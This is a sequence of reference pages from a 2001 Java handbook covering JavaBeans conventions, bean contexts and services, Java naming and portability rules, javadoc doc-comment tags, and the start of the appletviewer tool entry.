One of the primary tasks of a beanbox application is to allow the user to customize a bean by setting property values. A beanbox defines property editors for commonly used property types, such as numbers, strings, fonts, and colors. If a bean has a property of a more complicated type, however, it can define a PropertyEditor class that enables the beanbox to let the user set values for that property.

In addition, a complex bean may not be satisfied with the property-by-property customization mechanism provided by most beanbox tools. Such a bean can define a Customizer class to create a graphical interface that allows the user to configure a bean in some useful way. A particularly complex bean can even define customizers that serve as "wizards" that guide the user step by step through the customization process.

A bean context is a logical container (and often a visual container) for JavaBeans and, optionally, for other nested bean contexts. In practice, most JavaBeans are AWT or Swing components or containers. Beanbox tools recognize this and allow component beans to be nested within container beans. A bean context is a kind of heavyweight container that formalizes this nesting relationship. More importantly, however, a bean context can provide a set of services (e.g., printing services, debugging services, database connection services) to the beans it contains. Beans that are aware of their context can be written to query the context and take advantage of the services that are available. Bean contexts are implemented using the java.beans.beancontext API, which is new as of Java 1.2 and discussed in more detail later in this chapter.

Previous | Home | Next
5.6. Permission Classes | Book Index | 6.2. JavaBeans Conventions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JavaBeans Conventions (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

6.2. JavaBeans Conventions

The JavaBeans component model relies on a number of rules and conventions bean developers must follow. These conventions are not part of the JavaBeans API itself, but in many ways, they are more important to bean developers than the API itself. The conventions are sometimes referred to as designpatterns ; they specify such things as method names and signatures for property accessor methods defined by a bean.

The reason for these design patterns is interoperability between beans and the beanbox programs that manipulate them. As we've seen, beanbox programs may rely on introspection to determine the list of properties, events, and methods a bean supports. In order for this to work, bean developers must use method names the beanbox can recognize. The JavaBeans framework facilitates this process by establishing naming conventions. One such convention, for example, is that the getter and setter accessor methods for a property should begin with get and set.

Not all the patterns are absolute requirements. If a bean has property accessor methods that do not follow the naming conventions, it is possible to use a PropertyDescriptor object (specified in a BeanInfo class) to indicate the accessor methods for the property. Although the BeanInfo class provides an alternative to the property-accessor-method naming convention, the property accessor method must still follow the conventions that specify the number and type of its parameters and its return value.

6.2.1. Beans

A bean itself must adhere to the following conventions:

Class name

There are no restrictions on the class name of a bean.

Superclass

A bean can extend any other class. Beans are often AWT or Swing components, but there are no restrictions.

Instantiation

A bean must provide a no-parameter constructor or a file that contains a serialized instance the beanbox can deserialize for use as a prototype bean, so a beanbox can instantiate the bean. The file that contains the bean should have the same name as the bean, with an extension of .ser.

Bean name

The name of a bean is the name of the class that implements it or the name of the file that holds the serialized instance of the bean (with the .ser extension removed and directory separator (/) characters converted to dot (.) characters).

6.2.2. Properties

A bean defines a property p of type T if it has accessor methods that follow these patterns (if T is boolean, a special form of getter method is allowed):

Getter
public T getP()
Boolean getter
public boolean isP()
Setter
public void setP(T)
Exceptions

Property accessor methods can throw any type of checked or unchecked exceptions

6.2.3. Indexed Properties

An indexed property is a property of array type that provides accessor methods that get and set the entire array, as well as methods that get and set individual elements of the array. A bean defines an indexed property p of type T[] if it defines the following accessor methods:

Array getter
public T[] getP()
Element getter
public T getP(int)
Array setter
public void setP(T[])
Element setter
public void setP(int,T)
Exceptions

Indexed property accessor methods can throw any type of checked or unchecked exceptions. In particular, they should throw an ArrayIndexOutOfBoundsException if the supplied index is out of bounds.

6.2.4. Bound Properties

A bound property is one that generates a PropertyChangeEvent when its value changes. Here are the conventions for a bound property:

Accessor methods

The getter and setter methods for a bound property follow the same conventions as a regular property.

Introspection

A beanbox cannot distinguish a bound property from a nonbound property through introspection alone. Therefore, you may want to implement a BeanInfo class that returns a PropertyDescriptor object for the property. The isBound() method of this PropertyDescriptor should return true.

Listener registration

A bean that defines one or more bound properties must define a pair of methods for the registration of listeners that are notified when any bound property value change. The methods must have these signatures:

public void addPropertyChangeListener(PropertyChangeListener)
public void removePropertyChangeListener(PropertyChangeListener)

Named property listener registration

A bean can optionally provide additional methods that allow event listeners to be registered for changes to a single bound property value. These methods are passed the name of a property and have the following signatures:

public void addPropertyChangeListener(String, PropertyChangeListener)
public void removePropertyChangeListener(String, PropertyChangeListener)

Per-property listener registration

A bean can optionally provide additional event listener registration methods that are specific to a single property. For a property p, these methods have the following signatures:

public void addPListener(PropertyChangeListener)
public void removePListener(PropertyChangeListener)

Methods of this type allow a beanbox to distinguish a bound property from a nonbound property.

Notification

When the value of a bound property changes, the bean should update its internal state to reflect the change and then pass a PropertyChangeEvent to the propertyChange() method of every PropertyChangeListener object registered for the bean or the specific bound property.

Support

java.beans.PropertyChangeSupport is a helpful class for implementing bound properties.

6.2.5. Constrained Properties

A constrained property is one for which any changes can be vetoed by registered listeners. Most constrained properties are also bound properties. Here are the conventions for a constrained property:

Getter

The getter method for a constrained property is the same as the getter method for a regular property.

Setter

The setter method of a constrained property throws a PropertyVetoException if the property change is vetoed. For a property p of type T, the signature looks like this:

public void setP(T) throws PropertyVetoException

Listener registration

A bean that defines one or more constrained properties must define a pair of methods for the registration of listeners that are notified when any constrained property value changes. The methods must have these signatures:

public void addVetoableChangeListener(VetoableChangeListener)
public void removeVetoableChangeListener(VetoableChangeListener)

Named property listener registration

A bean can optionally provide additional methods that allow event listeners to be registered for changes to a single constrained property value. These methods are passed the name of a property and have the following signatures:

public void addVetoableChangeListener(String, VetoableChangeListener)
public void removeVetoableChangeListener(String, VetoableChangeListener)

Per-property listener registration

A bean can optionally provide additional listener registration methods that are specific to a single constrained property. For a property p, these methods have the following signatures:

public void addPListener(VetoableChangeListener)
public void removePListener(VetoableChangeListener)

Notification

When the setter method of a constrained property is invoked, the bean must generate a PropertyChangeEvent that describes the requested change and pass that event to the vetoableChange() method of every VetoableChangeListener object registered for the bean or the specific constrained property. If any listener vetos the change by throwing a PropertyVetoException, the bean must send out another PropertyChangeEvent to revert the property to its original value, and then it should throw a PropertyVetoException itself. If, on the other hand, the property change is not vetoed, the bean should update its internal state to reflect the change. If the constrained property is also a bound property, the bean should notify PropertyChangeListener objects at this point.

Support

java.beans.VetoableChangeSupport is a helpful class for implementing constrained properties.

6.2.6. Events

In addition to PropertyChangeEvent events generated when bound and constrained properties are changed, a bean can generate other types of events. An event named E should follow these conventions:

Event class

The event class should directly or indirectly extend java.util.EventObject and should be named E Event.

Listener interface

The event must be associated with an event listener interface that extends java.util.EventListener and is named E Listener.

Listener methods

The event listener interface can define any number of methods that take a single argument of type E Event and return void.

Listener registration

The bean must define a pair of methods for registering event listeners that want to be notified when an E event occurs. The methods should have the following signatures:

public void addEListener(EListener)
public void removeEListener(EListener)

Unicast events

A unicast event allows only one listener object to be registered at a single time. If E is a unicast event, the listener registration method should have this signature:

public void addEListener(EListener) throws TooManyListenersException

6.2.7. Methods

A beanbox can expose the methods of a bean to application designers. The only formal convention is that these methods must be declared public. The following guidelines are also useful, however:

Method name

A method can have any name that does not conflict with the property- and event-naming conventions. The name should be as descriptive as possible.

Parameters

A method can have any number and type of parameters. However, beanbox programs may work best with no-parameter methods or methods that have simple primitive parameters.

Excluding methods

A bean can explicitly specify the list of methods it exports by providing a BeanInfo implementation.

Documentation

A bean can provide user-friendly, human-readable localized names and descriptions for methods through MethodDescriptor objects returned by a BeanInfo implementation.

6.2.8. Auxiliary Classes

A bean can provide the following auxiliary classes:

BeanInfo

To provide additional information about a bean B, implement the BeanInfo interface in a class named B BeanInfo.

Property editor for a specific type

To enable a beanbox to work with properties of type T, implement the PropertyEditor interface in a class named T Editor. The class must have a no-parameter constructor.

Property editor for a specific property

To customize the way a beanbox allows the user to enter values for a single property, define a class that implements the PropertyEditor interface and has a no-parameter constructor, and register that class with a PropertyDescriptor object returned by the BeanInfo class for the bean.

Customizers

To define a customizer, or wizard, for configuring a bean B, define an AWT or Swing component with a no-parameter constructor that does the customization. The class is commonly called B Customizer, but this is not required. Register the class with the BeanDescriptor object returned by the BeanInfo class for the bean.

Documentation

Define default documentation for a bean B in HTML 2.0 format and store that documentation in a file named B.html. Define localized translations of the documentation in files by the same name in locale-specific directories.

6.2.9. Bean Packaging and Distribution

Beans are distributed in JAR archive files that have the following:

Content

The class or classes that implement a bean should be included in the JAR file, along with auxiliary classes such as BeanInfo and PropertyEditor implementations. If the bean is instantiated from a serialized instance, that instance should be included in the JAR archive with a filename ending in .ser. The JAR file can contain HTML documentation for the bean and should also contain any resource files, such as images, required by the bean and its auxiliary classes. A single JAR file can contain more than one bean.

Java-Bean attribute

The manifest of the JAR file must mark any .class and .ser files that define a bean with the attribute:

Java-Bean: true

Depends-On attribute

The manifest of a JAR file can use the Depends-On attribute to specify all other files in the JAR archive on which the bean depends. A beanbox application can use this information when generating applications or repackaging beans. Each bean can have zero or more Depends-On attributes, each of which can list zero or more space-separated filenames. Within a JAR file, / is always used as the directory separator.

Design-Time-Only attribute

The manifest of a JAR file can optionally use the Design-Time-Only attribute to specify auxiliary files, such as BeanInfo implementations, that are used by a beanbox, but not used by applications that use the bean. The beanbox can use this information when repackaging beans for use in an application.

Previous | Home | Next
6.1. Bean Basics | Book Index | 6.3. Bean Contexts and Services
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Bean Contexts and Services (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

6.3. Bean Contexts and Services

The JavaBeans component model was introduced in Java 1.1. Java 1.2 extends that model by introducing a containment and services protocol, defined in the java.beans.beancontext package. A bean context is a java.util.Collection of beans that implements the BeanContext interface and provides a context for the beans it contains. Many bean contexts define one or more services, such as a printing service, that beans can query and use. These bean contexts implement the BeanContextServices interface. All bean contexts are also BeanContextChild implementations, so contexts can be nested within each other.

Many beans never need to know about the contexts that contain them. A bean that does want to take advantage of its context and the services it provides implements the BeanContextChild interface. When a bean context child is added to a bean context, the setBeanContext() method of the BeanContextChild interface is invoked by the bean context. The implementation of this method should store the reference to the bean context for future use. The setBeanContext() method is a bound and constrained property, so it must notify VetoableChangeListener and PropertyChangeListener objects. For this reason, many beans delegate these responsibilities to a BeanContextChildSuport object.

If a bean (or bean context) is nested within a bean context that implements BeanContextServices, the bean can use the services provided by the bean context. A service is identified by the Java class that defines it. So a printing service is identified by the Class object of the java.awt.print.PrinterJob class, for example, and the system clipboard service is represented by the java.awt.datatransfer.Clipboard class. A bean can call the hasService() method of its containing BeanContextServices object to determine whether a specified service is available. If so, it can use getService() to obtain an appropriate instance of the service class. If a bean context is nested within another context, it can pass these hasService() and getService() methods to its containing context.

In addition to getService() and hasService(), a BeanContext provides several other methods beans can rely on. getResource() and getResourceAsStream() replace the methods by the same name defined by Class and ClassLoader. The isDesignTime() method (from the DesignMode interface) allows a bean to determine whether it is being displayed within a beanbox or run in an application or applet. The BeanContext method is preferred to the static Beans.isDesignTime() method because it is context-specific rather than global.

BeanContext and BeanContextServices are large interfaces; implementations must adhere to fairly complex specifications that govern the ways they interact with the beans they contain and the contexts within which they are nested. For these reasons, bean developers do not often create custom bean contexts. Instead, they rely on the contexts provided by the vendor of their beanbox tool. Advanced bean developers who do need to create bean contexts can delegate many of their methods to the BeanContextSupport and BeanContextServicesSupport classes that implement the basic framework and protocols.

Previous | Home | Next
6.2. JavaBeans Conventions | Book Index | 7. Java Programming and Documentation Conventions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Programming and Documentation Conventions (Java in an Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 7. Java Programming and Documentation Conventions

Contents:

Naming and Capitalization Conventions
Portability Conventions and Pure Java Rules
Java Documentation Comments

This chapter explains a number of important and useful Java programming conventions. If you follow these conventions, your Java code will be self-documenting, easier to read and maintain, and more portable.

7.1. Naming and Capitalization Conventions

The following widely adopted naming conventions apply to packages, classes, methods, fields, and constants in Java. Because these conventions are almost universally followed and because they affect the public API of the classes you define, they should be followed carefully:

Packages

Ensure that your package names are unique by prefixing them with the inverted name of your Internet domain (e.g., com.davidflanagan.utils). All package names, or at least their unique prefixes, should be lowercase.

Classes

A class name should begin with a capital letter and be written in mixed case (e.g., String). If a class name consists of more than one word, each word should begin with a capital letter (e.g., StringBuffer). If a class name, or one of the words of a class name, is an acronym, the acronym can be written in all capital letters (e.g., URL, HTMLParser).

Since classes are designed to represent objects, you should choose class names that are nouns (e.g., Thread, Teapot, FormatConverter).

Interfaces

Interface names follow the same capitalization conventions as class names. When an interface is used to provide additional information about the classes that implement it, it is common to choose an interface name that is an adjective (e.g., Runnable, Cloneable, Serializable, DataInput). When an interface works more like an abstract superclass, use a name that is a noun (e.g., Document, FileNameMap, Collection).

Methods

A method name always begins with a lowercase letter. If the name contains more than one word, every word after the first begins with a capital letter (e.g., insert(), insertObject(), insertObjectAt()). Method names are typically chosen so that the first word is a verb. Method names can be as long as is necessary to make their purpose clear, but choose succinct names where possible.

Fields and constants

Nonconstant field names follow the same capitalization conventions as method names. If a field is a static final constant, it should be written in uppercase. If the name of a constant includes more than one word, the words should be separated with underscores (e.g., MAX_VALUE). A field name should be chosen to best describe the purpose of the field or the value it holds.

Parameters

The names of method parameters appear in the documentation for a method, so you should choose names that make the purpose of the parameters as clear as possible. Try to keep parameter names to a single word and use them consistently. For example, if a WidgetProcessor class defines many methods that accept a Widget object as the first parameter, name this parameter widget or even w in each method.

Local variables

Local variable names are an implementation detail and never visible outside your class. Nevertheless, choosing good names makes your code easier to read, understand, and maintain. Variables are typically named following the same conventions as methods and fields.

In addition to the conventions for specific types of names, there are conventions regarding the characters you should use in your names. Java allows the $ character in any identifier, but, by convention, its use is reserved for synthetic names generated by source-code processors. (It is used by the Java compiler, for example, to make inner classes work.) Also, Java allows names to use any alphanumeric characters from the entire Unicode character set. While this can be convenient for non-English-speaking programmers, the use of Unicode characters should typically be restricted to local variables, private methods and fields, and other names that are not part of the public API of a class.

Previous | Home | Next
6.3. Bean Contexts and Services | Book Index | 7.2. Portability Conventions and Pure Java Rules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Portability Conventions and Pure Java Rules (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

7.2. Portability Conventions and Pure Java Rules

Sun's motto, or core value proposition, for Java is "Write once, run anywhere." Java makes it easy to write portable programs, but Java programs do not automatically run successfully on any Java platform. To ensure portability, you must follow a few fairly simple rules that can be summarized as follows:

Native methods

Portable Java code can use any methods in the core Java APIs, including methods implemented as native methods. However, portable code must not define its own native methods. By their very nature, native methods must be ported to each new platform, so they directly subvert the "Write once, run anywhere" promise of Java.

The Runtime.exec( ) method

Calling the Runtime.exec() method to spawn a process and execute an external command on the native system is rarely allowed in portable code. This is because the native OS command to be executed is never guaranteed to exist or behave the same way on all platforms. The only time it is legal to use Runtime.exec() is when the user is allowed to specify the command to run, either by typing the command at runtime or by specifying the command in a configuration file or preferences dialog box.

The System.getenv( ) method

Using System.getenv() is nonportable, without exception. The method has actually been deprecated for this reason.

Undocumented classes

Portable Java code must use only classes and interfaces that are a documented part of the Java platform. Most Java implementations ship with additional undocumented public classes that are part of the implementation, but not of the Java platform specification. There is nothing to prevent a program from using and relying on these undocumented classes, but doing so is not portable because the classes are not guaranteed to exist in all Java implementations or on all platforms.

The java.awt.peer package

The interfaces in the java.awt.peer package are part of the Java platform, but are documented for use by AWT implementors only. Applications that use these interfaces directly are not portable.

Implementation-specific features

Portable code must not rely on features specific to a single implementation. For example, in a widely controversial move, Microsoft distributed a version of the Java runtime system that included a number of additional methods that were not part of the Java platform as defined by Sun. Legal action between Sun and Microsoft is pending because of this. Any program that depends on the Microsoft-specific extensions is obviously not portable to other platforms.

Implementation-specific bugs

Just as portable code must not depend on implementation-specific features, it must not depend on implementation-specific bugs. If a class or method behaves differently than the specification says it should, a portable program cannot rely on this behavior, which may be different on different platforms.

Implementation-specific behavior

Sometimes different platforms and different implementations may present different behaviors, all of which are legal according to the Java specification. Portable code must not depend on any one specific behavior. For example, the Java specification does not specify whether threads of equal priority share the CPU or if one long-running thread can starve another thread at the same priority. If an application assumes one behavior or the other, it may not run properly on all platforms.

Standard extensions

Portable code can rely on standard extensions to the Java platform, but, if it does so, it should clearly specify which extensions it uses and exit cleanly with an appropriate error message when run on a system that does not have the extensions installed.

Complete programs

Any portable Java program must be complete and self-contained: it must supply all the classes it uses, except core platform and standard extension classes.

Defining system classes

Portable Java code never defines classes in any of the system or standard extension packages. Doing so violates the protection boundaries of those packages and exposes package-visible implementation details.

Hardcoded filenames

A portable program contains no hardcoded file or directory names. This is because different platforms have significantly different filesystem organizations and use different directory separator characters. If you need to work with a file or directory, have the user specify the filename, or at least the base directory beneath which the file can be found. This specification can be done at runtime, in a configuration file, or as a command-line argument to the program. When concatenating a file or directory name to a directory name, use the File() constructor or the File.separator constant.

Line separators

Different systems use different characters or sequences of characters as line separators. Do not hardcode "\n", "\r", or "\r\n" as the line separator in your program. Instead, use the println() method of PrintStream or PrintWriter, which automatically terminates a line with the line separator appropriate for the platform, or use the value of the line.separator system property.

Mixed event models

The AWT event model changed dramatically between Java 1.0 and Java 1.1. Although it is often possible to mix these two event models in a program, doing so is not technically portable.

The previous rules are the focus of Sun's "100% Pure Java" portability certification program; you can find out more about this program and read more about the "Pure Java" requirements at http://java.sun.com/100percent/.

Previous | Home | Next
7.1. Naming and Capitalization Conventions | Book Index | 7.3. Java Documentation Comments
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Documentation Comments (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

7.3. Java Documentation Comments

Most ordinary comments within Java code explain the implementation details of that code. In contrast, the Java language specification defines a special type of comment known as a doc comment that serves to document the API of your code. A doc comment is an ordinary multiline comment that begins with /** (instead of the usual /*) and ends with */. A doc comment appears immediately before a class, interface, method, or field definition and contains documentation for that class, interface, method, or field. The documentation can include simple HTML formatting tags and other special keywords that provide additional information. Doc comments are ignored by the compiler, but they can be extracted and automatically turned into online HTML documentation by the javadoc program. (See Chapter 8, "Java Development Tools", for more information about javadoc.) Here is an example class that contains appropriate doc comments:

/**
 * This immutable class represents <i>complex
 * numbers</i>.
 *
 * @author David Flanagan
 * @version 1.0
 */
public class Complex {
  /**
   * Holds the real part of this complex number.
   * @see #y
   */
  protected double x;

  /**
   * Holds the imaginary part of this complex number.
   * @see #x
   */
  protected double y;

  /**
   * Creates a new Complex object that represents the complex number
   * x+yi.
   * @param x The real part of the complex number.
   * @param y The imaginary part of the complex number.
   */
  public Complex(double x, double y) {
    this.x = x;
    this.y = y;
  }

  /**
   * Adds two Complex objects and produces a third object that represents
   * their sum. * @param c1 A Complex object
   * @param c2 Another Complex object
   * @return  A new Complex object that represents the sum of
   *          <code>c1</code> and
   * <code>c2</code>.
   * @exception java.lang.NullPointerException
   *            If either argument is <code>null</code>.
   */
  public Complex add(Complex c1, Complex c2) {
    return new Complex(c1.x + c2.x, c1.y + c2.y);
  }
}

7.3.1. Structure of a Doc Comment

The body of a doc comment should begin with a one-sentence summary of the class, interface, method, or field being documented. This sentence may be displayed by itself, as summary documentation, so it should be written to stand on its own. The initial sentence can be followed by any number of other sentences and paragraphs that describe the class, interface, method, or field.

After the descriptive paragraphs, a doc comment can contain any number of other paragraphs, each of which begins with a special doc-comment tag, such as @author, @param, or @returns. These tagged paragraphs provide specific information about the class, interface, method, or field that the javadoc program displays in a standard way. The full set of doc-comment tags is listed in the next section.

The descriptive material in a doc comment can contain simple HTML markup tags, such as such as <I> for emphasis, <CODE> for class, method, and field names, and <PRE> for multiline code examples. It can also contain <P> tags to break the description into separate paragraphs and <UL>, <LI>, and related tags to display bulleted lists and similar structures. Remember, however, that the material you write is embedded within a larger, more complex HTML document. For this reason, doc comments should not contain major structural HTML tags, such as <H2> or <HR>, that might interfere with the structure of the larger document.

Avoid the use of the <A> tag to include hyperlinks or cross references in your doc comments. Instead, use the special {@link} doc-comment tag, which, unlike the other doc-comment tags, can appear anywhere within a doc comment. As described in the next section, the {@link} tag allows you to specify hyperlinks to other classes, interfaces, methods, and fields without knowing the HTML-structuring conventions and filenames used by javadoc.

If you want to include an image in a doc comment, place the image file in a doc-files subdirectory of the source code directory. Give the image the same name as the class, with an integer suffix. For example, the second image that appears in the doc comment for a class named Circle can be included with this HTML tag:

<IMG src="doc-files/Circle-2.gif">

Because the lines of a doc comment are embedded within a Java comment, any leading spaces and asterisks (*) are stripped from each line of the comment before processing. Thus, you don't need to worry about the asterisks appearing in the generated documentation or about the indentation of the comment affecting the indentation of code examples included within the comment with a <PRE> tag.

7.3.2. Doc-Comment Tags

As I mentioned earlier, javadoc recognizes a number of special tags, each of which begins with an @ character. These doc-comment tags allow you to encode specific information into your comments in a standardized way, and they allow javadoc to choose the appropriate output format for that information. For example, the @param tag lets you specify the name and meaning of a single parameter for a method. javadoc can extract this information and display it using an HTML <DL> list, an HTML <TABLE>, or however it sees fit.

The doc-comment tags recognized by javadoc are the following; a doc comment should typically use these tags in the order listed here:

@author name

Adds an "Author:" entry that contains the specified name. This tag should be used for every class or interface definition, but must not be used for individual methods and fields. If a class has multiple authors, use multiple @author tags on adjacent lines. For example:

@author David Flanagan
@author Paula Ferguson

List the authors in chronological order, with the original author first. If the author is unknown, you can use "unascribed". javadoc does not output authorship information unless the -author command-line argument is specified.

@version text

Inserts a "Version:" entry that contains the specified text. For example:

@version 1.32, 08/26/99

This tag should be included in every class and interface doc comment, but cannot be used for individual methods and fields. This tag is often used in conjunction with the automated version-numbering capabilities of a version-control system, such as SCCS, RCS, or CVS. javadoc does not output version information in its generated documentation unless the -version command-line argument is specified.

@param parameter-name description

Adds the specified parameter and its description to the "Parameters:" section of the current method. The doc comment for a method or constructor must contain one @param tag for each parameter the method expects. These tags should appear in the same order as the parameters specified by the method. The tag cannot be used in class, interface, or field doc comments. You are encouraged to use phrases and sentence fragments where possible, to keep the descriptions brief. However, if a parameter requires detailed documentation, the description can wrap onto multiple lines and include as much text as necessary. You can also use spaces to align the descriptions with each other. For example:

@param o      the object to insert
@param index  the position to insert it at

@return description

Inserts a "Returns:" section that contains the specified description. This tag should appear in every doc comment for a method, unless the method returns void or is a constructor. The tag must not appear in class, interface, or field doc comments. The description can be as long as necessary, but consider using a sentence fragment to keep it short. For example:

@return <code>true</code> if the insertion is successful, or
        <code>false</code> if the list already contains the
        specified object.

@exception full-classname description

Adds a "Throws:" entry that contains the specified exception name and description. A doc comment for a method or constructor should contain an @exception tag for every checked exception that appears in its throws clause. For example:

@exception java.io.FileNotFoundException
           If the specified file could not be found

The @exception tag can optionally be used to document unchecked exceptions (i.e., subclasses of RuntimeException) the method may throw, when these are exceptions that a user of the method may reasonably want to catch. If a method can throw more than one exception, use multiple @exception tags on adjacent lines and list the exceptions in alphabetical order. The description can be as short or as long as necessary to describe the significance of the exception. This doc-comment tag cannot be used in class, interface, or field comments. The @throws tag is a synonym for @exception.

@throws full-classname description

This tag is a synonym for @exception. It was introduced in Java 1.2.

@see reference

Adds a "See Also:" entry that contains the specified reference. This tag can appear in any kind of doc comment. reference can take three different forms. If it begins with a quote character, it is taken to be the name of a book or some other printed resource and is displayed as is. If reference begins with a < character, it is taken to be an arbitrary HTML hyperlink that uses the <A> tag and the hyperlink is inserted into the output documentation as is. This form of the @see tag can insert links to other online documents, such as a programmer's guide or user's manual.

If reference is not a quoted string or a hyperlink, the @see tag is expected to have the following form:

@see feature label

In this case, javadoc outputs the text specified by label and encodes it as a hyperlink to the specified feature. If label is omitted (as it usually is), javadoc uses the name of the specified feature instead.

feature can refer to a package, class, interface, method, constructor, or field, using one of the following forms:

pkgname

A reference to the named package. For example:

@see java.lang.reflect

pkgname.classname

A reference to a class or interface specified with its full package name. For example:

@see java.util.List

classname

A reference to a class or interface specified without its package name. For example:

@see List

javadoc resolves this reference by searching the current package and the list of imported classes for a class with this name.

classname#methodname

A reference to a named method or constructor within the specified class. For example:

@see java.io.InputStream#reset
@see InputStream#close

If the class is specified without its package name, it is resolved as described for classname. This syntax is ambiguous if the method is overloaded or the class defines a field by the same name.

classname#methodname(paramtypes)

A reference to a method or constructor with the type of its parameters explicitly specified. This form of the @see tag is useful when cross-referencing an overloaded method. For example:

@see InputStream#read(byte[], int, int)

#methodname

A reference to a non-overloaded method or constructor in the current class or interface or one of the containing classes, superclasses, or superinterfaces of the current class or interface. Use this concise form to refer to other methods in the same class. For example:

@see #setBackgroundColor

#methodname(paramtypes)

A reference to a method or constructor in the current class or interface or one of its superclasses or containing classes. This form works with overloaded methods because it lists the types of the method parameters explicitly. For example:

@see #setPosition(int, int)

classname#fieldname

A reference to a named field within the specified class. For example:

@see java.io.BufferedInputStream#buf

If the class is specified without its package name, it is resolved as described for classname.

#fieldname

A reference to a field in the current class or interface or one of the containing classes, superclasses, or superinterfaces of the current class or interface. For example:

@see #x

{@link reference}

The @link tag is like the @see tag except that, instead of placing a link to the specified reference in a special "See Also:" section, it inserts the link inline. A @link tag can appear anywhere that HTML text appears in a doc comment. In other words, it can appear in the initial description of the class, interface, method, or field and in the descriptions associated with the @param, @returns, @exception, and @deprecated tags. Because the @link tag can appear within arbitrary HTML text, the curly braces are required to delimit it. The reference for the @link tag uses the same syntax as the @see tag documented previously. For example:

@param regexp The regular expression to search for. This string
              argument must follow the syntax rules described for
              {@link RegExpParser}.

@deprecated explanation

As of Java 1.1, this tag specifies that the following class, interface, method, or field has been deprecated and that its use should be avoided. javadoc adds a prominent "Deprecated" entry to the documentation and includes the specified explanation text. This text should specify when the class or member was deprecated, and, if possible, suggest a replacement class or member and include a link to it. For example:

@deprecated As of Version 3.0, this method is replaced
            by {@link #setColor}.

Although the Java compiler ignores all comments, it does take note of the @deprecated tag in doc comments. When this tag appears, the compiler notes the deprecation in the class file it produces. This allows it to issue warnings for other classes that rely on the deprecated feature.

@since version

Used to specify when the class, interface, method, or field was added to the API. It should be followed by a version number or other version specification. For example:

@since JNUT 3.0

Every class and interface doc comment should include a @since tag, and any methods or fields added after the initial release of the class or interface should have @since tags in their doc comments.

@serial description

This tag should appear in the doc comment for any field that is part of the serialized state of a Serializable class. For classes that use the default serialization mechanism, this means all fields that are not declared transient, even fields declared private. The description should be a brief description of the field and of its purpose within a serialized object.

@serialField name type description

A Serializable class can define its serialized format by declaring an array of ObjectStreamField objects in a field named serialPersistentFields. For such a class, the doc comment for serialPersistentFields should include a @serialField tag for each element of the array. Each tag specifies the name, type, and description for a particular field in the serialized state of the class.

@serialData description

A Serializable class can define a writeObject() method to write additional data besides that written by the default serialization mechanism. An Externalizable class defines a writeExternal() method that is responsible for writing the complete state of an object to the serialization stream. The @serialData tag should be used in the doc comments for these writeObject() and writeExternal() methods, and the description should document the serialization format used by the method.

@beaninfo info

This nonstandard tag provides information about JavaBeans components and their methods. This tag is not used by javadoc, but it is apparently used by a tool internal to Sun that extracts information from @beaninfo tags for a class and outputs an appropriate java.beans.BeanInfo class. This tag appears in the source code of the Swing component classes in Java 1.2. A typical usage looks like this:

@beaninfo        bound: true
           description: the background color of this JavaBeans component

7.3.3. Doc Comments for Packages

Documentation comments for classes, interfaces, methods, constructors, and fields appear in Java source code immediately before the definitions of the features they document. javadoc can also read and display summary documentation for packages. Since a package is defined in a directory, not in a single file of source code, javadoc looks for the package documentation in a file named package.html in the directory that contains the source code for the classes of the package.

The package.html file should contain simple HTML documentation for the package. It can also contain @see, @link, @deprecated, and @since tags. Since package.html is not a file of Java source code, the documentation it contains should not be a Java comment (i.e., it should not be enclosed within /** and */ characters). Finally, any @see and @link tags that appear in package.html must use fully qualified class names.

In addition to defining a package.html file for each package, you can also provide high-level documentation for a group of packages by defining an overview.html file in the source tree for those packages. When javadoc is run over that source tree, it uses overview.html as the highest level overview it displays.

Previous | Home | Next
7.2. Portability Conventions and Pure Java Rules | Book Index | 8. Java Development Tools
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Development Tools (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 8. Java Development Tools

Sun's implementation of Java includes a number of tools for Java developers. Chief among these are the Java interpreter and the Java compiler, of course, but there are a number of others as well. This chapter documents all the tools shipped with the Java 2 SDK (formerly known as the JDK), except for the RMI and IDL tools that are specific to enterprise programming. Those tools are documented in Java Enterprise in a Nutshell (O'Reilly).

The tools documented here are part of Sun's development kit; they are implementation details and not part of the Java specification itself. If you are using a Java development environment other than Sun's SDK (or a port of it), you should consult your vendor's tool documentation.

Some examples in this chapter use Unix conventions for file and path separators. If Windows is your development platform, change forward slashes in filenames to backward slashes, and colons in path specifications to semicolons.

appletviewer JDK 1.0 and later
The Java Applet Viewer

Synopsis

appletviewer [ options ] url | file...

Description

appletviewer reads or downloads the one or more HTML documents specified by the filename or URL on the command line. Next, it downloads any applets specified in any of those files and runs each applet in a separate window. If the specified document or documents do not contain any applets, appletviewer does nothing.

appletviewer recognizes applets specified with the <APPLET> tag and, in Java 1.2 and later, the <OBJECT> and <EMBED> tags.

Options

appletviewer recognizes the following options:

-debug

If this option is specified, appletviewer is started within jdb (the Java debugger). This allows you to debug the applets referenced by the document or documents.

-encoding enc

This option specifies the character encoding that appletviewer should use when reading the contents of the specified files or URLs. It is used in the conversion of applet parameter values to Unicode. Java 1.1 and later.

-J javaoption

This option passes the specified javaoption as a command-line argument to the Java interpreter. javaoption should not contain spaces. If a multiword option must be passed to the Java interpreter, multiple -J options should be used. See java for a list of valid Java interpreter options. Java 1.1 and later.

appletviewer also recognizes the -classic, -native, and -green options that the Java interpreter recognizes. See java for details on these options.

Commands

Each window displayed by appletviewer contains a single Applet menu, with the following commands available:

Restart

Stops and destroys the current applet, then reinitializes and restarts it.

Reload

Stops, destroys, and unloads the applet, then reloads, reinitializes, and restarts it.

Stop

Stops the current applet. Java 1.1 and later.

Save

Serializes the applet and saves the serialized applet in the file Applet.ser in the user's home directory. The applet should be stopped before selecting this option. Java 1.1 and later.

Start

Restarts a stopped applet. Java 1.1 and later.

Clone

Creates a new copy of the applet in a new appletviewer window.

Tag

Pops up a dialog box that displays the <APPLET> tag and all associated <PARAM> tags that created the current applet.

